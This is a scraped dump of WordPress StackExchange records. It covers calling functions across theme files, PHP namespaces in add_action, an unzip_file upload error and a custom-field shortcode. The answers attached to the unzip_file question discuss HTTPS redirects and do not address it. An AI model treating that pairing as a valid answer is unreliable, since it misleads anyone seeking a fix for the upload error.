"text": "<p>Some of this relates to the default <a href=\"https://wordpress.stackexchange.com/questions/71406/is-there-a-flowchart-for-wordpress-loading-sequence\">load sequence</a> of WordPress Core and <a href=\"https://wordpress.stackexchange.com/questions/63141/in-what-order-does-wordpress-load-plugin-files\">plugin files</a>. Things can get confusing for developers on complex sites that have a parent theme, child theme, theme framework or options framework, theme <code>functions.php</code> file, MU plugins, and normal plugins...</p>\n<p>In short, perhaps the more reliable solution is creating a MU plugin for certain critical functions, to ensure that it is loading before other items, and can't be disabled, etc.</p>\n<p><a href=\"https://mirrors.slickstack.io/wordpress/\" rel=\"nofollow noreferrer\">We use this approach</a> in SlickStack to load critical features (e.g. our Clear Caches plugin), and we also include <code>/wp-content/functions.php</code> as a special file inside <code>wp-config.php</code> so that functions load higher up in the load sequence, which allows developers to better modify certain site-wide features and functions. This also helps to prevent custom functions from disappearing when a client (etc) changes to a new WordPress theme, etc.</p>\n<pre><code>// include the Custom Functions file\ninclude_once(ABSPATH . 'wp-content/functions.php');\n</code></pre>\n<p>This also allows web hosts or agencies to "lock" their <code>wp-config.php</code> as read-only while still allowing developers to create high-priority PHP defined constants.</p>\n"
}
] | 2019/04/25 | [
"https://wordpress.stackexchange.com/questions/336350",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/166789/"
] | I have a custom php file in wp-content/themes/xxxx/modules/custom.php and i want to call function from Functions.php. Right now all my functions (same function) everywhere in different files, because still cannot solve this problem.
I want to create a function in Functions.php and call this function from everywhere in the website. This function will called from another php files (Ajax will not call this function). When I include or require any file (wp-load, wp-blog-header, functions.php are not imported)
I read many forums and tried many ways like
1.
```
define('WP_USE_THEMES', true);
require( '/opt/bitnami/apps/wordpress/htdocs/wp-blog-header.php' );
```
2.
```
include (/opt/bitnami/apps/wordpress/htdocs/wp-content/themes/xxx/functions.php);
```
3.
```
require($_SERVER['DOCUMENT_ROOT'] . '/wp-load');
require(/opt/bitnami/apps/wordpress/htdocs/wp-load');
```
etc. I tried many ways but all examples not working.
Is there any way to declare a function in Funtions.php and use everywhere without any problem?. | It's worth noting that PHP namespace issues can contribute to this problem. This can catch people because namespaces have been kept out of Wordpress core codebase until recently.
For example one of your code files may have a Namespace declaration around the top. If that is the case you will have to prefix any references to the functions with the correct namespace.
In Wordpress in particular if there is a mismatch it will not find the function unless it is namespaced correctly.
In themes [such as Sage](https://discourse.roots.io/t/error-when-i-put-custom-function-in-admin-php-but-all-is-fine-if-i-put-the-code-in-functions-php/14014):
```
Warning: call_user_func_array() expects parameter 1 to be a valid callback, function ‘myplugin_settings’ not found or invalid function name
```
You would need to indicate the namespace this way. If the namespace is already called above on this file, you need to add the following:
```
add_action( 'init' , __NAMESPACE__ . '\\myplugin_settings' );
```
If your file is not in the namespace you will have to add it manually. Note that double-backslashes are needed due to character escaping.
More about namespaces in PHP:
* [PHP manual TOC for namespaces](https://www.php.net/manual/en/language.namespaces.php).
* [Rationale for namespaces](https://www.php.net/manual/en/language.namespaces.rationale.php).
* [Basics of namespaces](https://www.php.net/manual/en/language.namespaces.basics.php).
* [Complete guide to namespaces](https://www.thoughtfulcode.com/a-complete-guide-to-php-namespaces/).
(Adding this answer because I landed here and namespaces were my snag - I didn't realize the add\_action namespace issue.) |
336,359 | <p>When I attempt to use the <a href="https://codex.wordpress.org/Function_Reference/unzip_file" rel="nofollow noreferrer">unzip_file</a> function below in my <code>functions.php</code>:</p>
<pre><code>require_once(ABSPATH . 'wp-admin/includes/file.php');
WP_Filesystem();
$destination = wp_upload_dir();
$destination_path = $destination['path'];
$unzipfile = unzip_file( $destination_path.'/filename.zip', $destination_path);
if ( is_wp_error( $unzipfile ) ) {
echo 'There was an error unzipping the file.';
} else {
echo 'Successfully unzipped the file!';
}
</code></pre>
<p>I get the following error when trying to upload any files into the Media library in <strong>Media</strong> > <strong>Add New</strong>:</p>
<pre><code>An error occurred in the upload. Please try again later.
</code></pre>
<p>I am using Twenty Nineteen theme with no plugins activated. I don't get the error when I remove the function.</p>
<p>Any ideas?</p>
| [
{
"answer_id": 336362,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>Assuming that (it's not clear from your question):</p>\n\n<ul>\n<li>you change htaccess to redirect http request to https (best way, IMHO). Lots of googles on that; your hosting place should also have guidance specific to thier hosting environment.</li>\n<li>you changed the two URLs in the wp-options table to show the full URL with https</li>\n</ul>\n\n<p>That's all that is really required for https, assuming that your hosting place has properly installed the SSL certificate.</p>\n\n<p>If you have done the above, then please edit your answer to provide more (and detailed) details about what you have done so far, and what doesn't; work.</p>\n\n<p>Note that will also need to do a search/replace for <a href=\"http://www.example.com\" rel=\"nofollow noreferrer\">http://www.example.com</a> replace with <a href=\"https://www.example.com\" rel=\"nofollow noreferrer\">https://www.example.com</a> . In particular, the media library items in the database will have the old URL. Lots of plugins to help with that; I like the \"Better Search and Replace\" plugin.</p>\n\n<p>Of course, backups of database is always important when making changes.</p>\n"
},
{
"answer_id": 336363,
"author": "Monkey Puzzle",
"author_id": 48568,
"author_profile": "https://wordpress.stackexchange.com/users/48568",
"pm_score": 0,
"selected": false,
"text": "<p>If you can't access the site via your browser, try to get in via ftp, cPanel or the like. Find the wp-config.php file in the main site folder and add a direct link to your desired address, eg.</p>\n\n<pre><code>define( 'WP_HOME', 'http://example.com' );\ndefine( 'WP_SITEURL', 'http://example.com' );\n</code></pre>\n\n<p>You can remove or update this whenever you wish.</p>\n\n<p>This is as per <a href=\"https://codex.wordpress.org/Changing_The_Site_URL\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Changing_The_Site_URL</a></p>\n"
},
{
"answer_id": 336495,
"author": "Hakimuddin Saifee",
"author_id": 165598,
"author_profile": "https://wordpress.stackexchange.com/users/165598",
"pm_score": -1,
"selected": false,
"text": "<p>Go to the phpmyadmin ->choose your site Database-> there is table 'wp_options' open it -> site url -> change it to as before like http: then redirect to https from .htaccess file from cpanel</p>\n"
}
] | 2019/04/26 | [
"https://wordpress.stackexchange.com/questions/336359",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/40536/"
] | When I attempt to use the [unzip\_file](https://codex.wordpress.org/Function_Reference/unzip_file) function below in my `functions.php`:
```
require_once(ABSPATH . 'wp-admin/includes/file.php');
WP_Filesystem();
$destination = wp_upload_dir();
$destination_path = $destination['path'];
$unzipfile = unzip_file( $destination_path.'/filename.zip', $destination_path);
if ( is_wp_error( $unzipfile ) ) {
echo 'There was an error unzipping the file.';
} else {
echo 'Successfully unzipped the file!';
}
```
I get the following error when trying to upload any files into the Media library in **Media** > **Add New**:
```
An error occurred in the upload. Please try again later.
```
I am using Twenty Nineteen theme with no plugins activated. I don't get the error when I remove the function.
Any ideas? | Assuming that (it's not clear from your question):
* you change htaccess to redirect http request to https (best way, IMHO). Lots of googles on that; your hosting place should also have guidance specific to thier hosting environment.
* you changed the two URLs in the wp-options table to show the full URL with https
That's all that is really required for https, assuming that your hosting place has properly installed the SSL certificate.
If you have done the above, then please edit your answer to provide more (and detailed) details about what you have done so far, and what doesn't; work.
Note that will also need to do a search/replace for <http://www.example.com> replace with <https://www.example.com> . In particular, the media library items in the database will have the old URL. Lots of plugins to help with that; I like the "Better Search and Replace" plugin.
Of course, backups of database is always important when making changes. |
336,361 | <p>I have added a custom field to my site called "dansk_url", to which a link to the version in Danish (different domain) will be entered. I would like to be able to output this as a shortcode to add anywhere within the post, and it should appear as a link (anchor text will always be "Dansk" and whichever url has been entered in the custom field for that post.</p>
<p>Is this possible? I prefer a non-plugin solution. </p>
| [
{
"answer_id": 336372,
"author": "Sally CJ",
"author_id": 137402,
"author_profile": "https://wordpress.stackexchange.com/users/137402",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>I would like to be able to output this as a shortcode to add anywhere\n within the post</p>\n</blockquote>\n\n<p>So since you said, \"<em>I prefer a non-plugin solution</em>\", then you can use this (which you'd add to the theme <code>functions.php</code> file) to create the shortcode:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>add_shortcode( 'dansk_link', 'dansk_link_shortcode' );\nfunction dansk_link_shortcode() {\n ob_start();\n $url = get_post_meta( get_the_ID(), 'dansk_url', true );\n if ( $url ) : ?>\n <a href=\"<?php echo esc_url( $url ); ?>\">Dansk</a>\n <?php\n endif; // end $url\n return ob_get_clean();\n}\n</code></pre>\n\n<p>And in the post content, add <code>[dansk_link]</code> anywhere you like.</p>\n\n<p>The above PHP code is still considered a plugin, but it's basically \"your own\" plugin. :)</p>\n\n<p>PS: For the function reference, you can check <a href=\"https://developer.wordpress.org/reference/functions/add_shortcode/\" rel=\"nofollow noreferrer\"><code>add_shortcode()</code></a> and <a href=\"https://developer.wordpress.org/reference/functions/get_post_meta/\" rel=\"nofollow noreferrer\"><code>get_post_meta()</code></a>.</p>\n\n<h2>UPDATE</h2>\n\n<ol>\n<li><p>I changed the shortcode name to <code>dansk_link</code> because that seems better than <code>dansk_url</code> for what the shortcode is for (i.e. outputting a <em>link</em>).</p></li>\n<li><p>In my original answer, I used output buffering (i.e. those <code>ob_start()</code> and <code>ob_get_clean()</code>) so that's it's easier for <em>you</em> (the question author) to edit the HTML output.</p></li>\n</ol>\n\n<p>Having said the point #2 above, you could also use:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>add_shortcode( 'dansk_link', 'dansk_link_shortcode' );\nfunction dansk_link_shortcode() {\n if ( $url = get_post_meta( get_the_ID(), 'dansk_url', true ) ) {\n return '<a href=\"' . esc_url( $url ) . '\">Dansk</a>';\n }\n return '';\n}\n</code></pre>\n"
},
{
"answer_id": 336374,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 1,
"selected": true,
"text": "<p>Put this in <code>functions.php</code> of your theme.</p>\n\n<pre><code>add_shortcode( 'dansk_url', 'dansk_url' );\nfunction dansk_url() {\n $output='';\n $the_url= get_post_meta( get_the_ID(), 'dansk_url', true );\n\n if ( $the_url) $output .= '<a href=\"' . esc_url( $the_url) . '\">Dansk</a>';\n\n return $output;\n}\n</code></pre>\n\n<p>and use shortcode <code>[dansk_url]</code> in the post.</p>\n"
}
] | 2019/04/26 | [
"https://wordpress.stackexchange.com/questions/336361",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/166799/"
] | I have added a custom field to my site called "dansk\_url", to which a link to the version in Danish (different domain) will be entered. I would like to be able to output this as a shortcode to add anywhere within the post, and it should appear as a link (anchor text will always be "Dansk" and whichever url has been entered in the custom field for that post.
Is this possible? I prefer a non-plugin solution. | Put this in `functions.php` of your theme.
```
add_shortcode( 'dansk_url', 'dansk_url' );
function dansk_url() {
$output='';
$the_url= get_post_meta( get_the_ID(), 'dansk_url', true );
if ( $the_url) $output .= '<a href="' . esc_url( $the_url) . '">Dansk</a>';
return $output;
}
```
and use shortcode `[dansk_url]` in the post. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.